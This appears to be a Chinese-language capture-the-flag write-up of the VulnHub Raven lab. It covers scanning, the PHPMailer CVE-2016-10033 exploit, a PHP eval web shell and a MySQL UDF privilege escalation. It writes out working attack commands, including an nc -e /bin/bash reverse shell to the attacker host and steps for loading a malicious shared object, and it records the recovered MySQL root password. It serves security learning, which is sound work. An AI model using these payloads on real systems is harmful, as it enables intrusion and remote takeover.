vulnhub靶场–Raven靶场
信息收集
主机发现
ifconfig查看kali IP
nmap 192.168.23.0/24
端口扫描
nmap -sS 192.168.23.137 -p-



目录扫描
dirb http://192.168.23.137:80
中间件
whatweb 192.168.23.137
信息收集信息整理
端口开啦22端口ssh 80端口http 111端口rpcbind 45545端口
目录扫描扫出来如上dirb扫描(均可访问)可以看到有一个http://192.168.23.137:80/wordpress/目录cms或许可以利用cms漏洞提权
在/vendor/目录下看到一个path目录
威胁建模
在http://192.168.23.137/vendor/PATH下可以看到第一个flag和一个目录
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
在/vendor目录下好友一个.md文件看一下
渗透攻击
查看README.md文件大概可以知道服务器上安装啦PHPMailer
/vendor/VERSION目录下可知有一个版本号5.2.16猜测是PPMailer的版本号
/vendor下还有一个changelog文件下载看到
目前信息
服务器上有PHPMailer 版本号5.2.16/17
cms wordpress但是并不知道版本
中间件Apache/2.4.10 (Debian) (apache我有尝试exp没有成功)
百度搜索是否有以上可以利用的漏洞
PHPMailer版本小于5.2.18有远程命令执行漏洞,(100条消息) PHPMailer远程命令执行漏洞复现_thelostworld-公众号的博客-CSDN博客_phpmailer漏洞复现这篇文章看下来感觉是有一个可以写mail的地方然后可以写马然后蚁剑连接在上传大马之类的
这个漏洞是因为邮件地址能够包含用引号括起来的空格,这样可以进行攻击参数的注入,CVE-2016-10033msf 搜索一下有没有可以用的模块
但,呃我这条路好像没有通
searchsploit phpmailer
把它cp出来
cd /usr/share/exploitdb/exploits/linux/local
cp 40974.py /home/kali/Documents/Raven2/
饿哦没能cp出来,更新一下exploit-db把~
wget http://www.exploit-db.com/archive.tar.bz2tar
-xvjf archive.tar.bz2rm archive.tar.bz2
嘿嘿我也不会更新这个库,那就谷歌搜索下载或复制粘贴进来吧
改完需要改的地方后运行它
然后监听5599端口,访问http://192.168.23.137/heihei.php
监听的端口接到shell
然后往heihei.php里面写一个小马~
echo '<?php @eval($_REQUEST['heihei']); phpinfo();?>' >>heihei.php
cat检查一下
然后蚁剑连接
有wp文件肯定要看一下config的
获得啦root账户的密码
root 密码 R@v3nSecurity
成功登录MySQL,select version();查看一下sql版本这个版本存在- CVE-2016-6662漏洞
查找相应程序
wget https://www.exploit-db.com/download/1518
gcc -g -c 1518.c
gcc -g -shared -o 1518.so 1518.o -lc

改个名吧就叫heihie吧习惯啦
然后将heihei.so传过去
python3 -m http.server 1234
wget http://192.168.23.132:1234/home/kali/Documents/Raven2/heihei.so
后渗透攻击
use mysql;
create table heihei(line blob); #新建一个表
heihei,用来存放本地传来的udf文件的内容
insert into heihei values(load_file(‘/tmp/heihei.so’)); #在heihei中写入heihei.so文件内容
select * from heihei into dumpfile ‘/usr/lib/mysql/plugin/heihei.so’; #将.so文件内容传入新建的.so文件中
create function do_system returns integer soname ‘heihei.so’; #导入.so函数
这个地方不去看1518.c文件可能无法理解,这里的function不可以随意起名,就是当在MySQL中创建函数时,必须使用我们定义的函数名称,因此我们只能使用1518里一个名为do_system的函数,我们定义啦函数do_system 却把它叫做别的名字,这是不对的。
这个语句我一直报错
select do_system(‘nc 192.168.23.132 5555 -e /bin/bash’); #执行
说实话我在新建完.so文件时我就觉得有点乱啦(给自己挖拉个大坑)
去监听
这么看的话中间应该有两个flag我们没有找
find / -name “flag*”
/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
从蚁剑下载下来看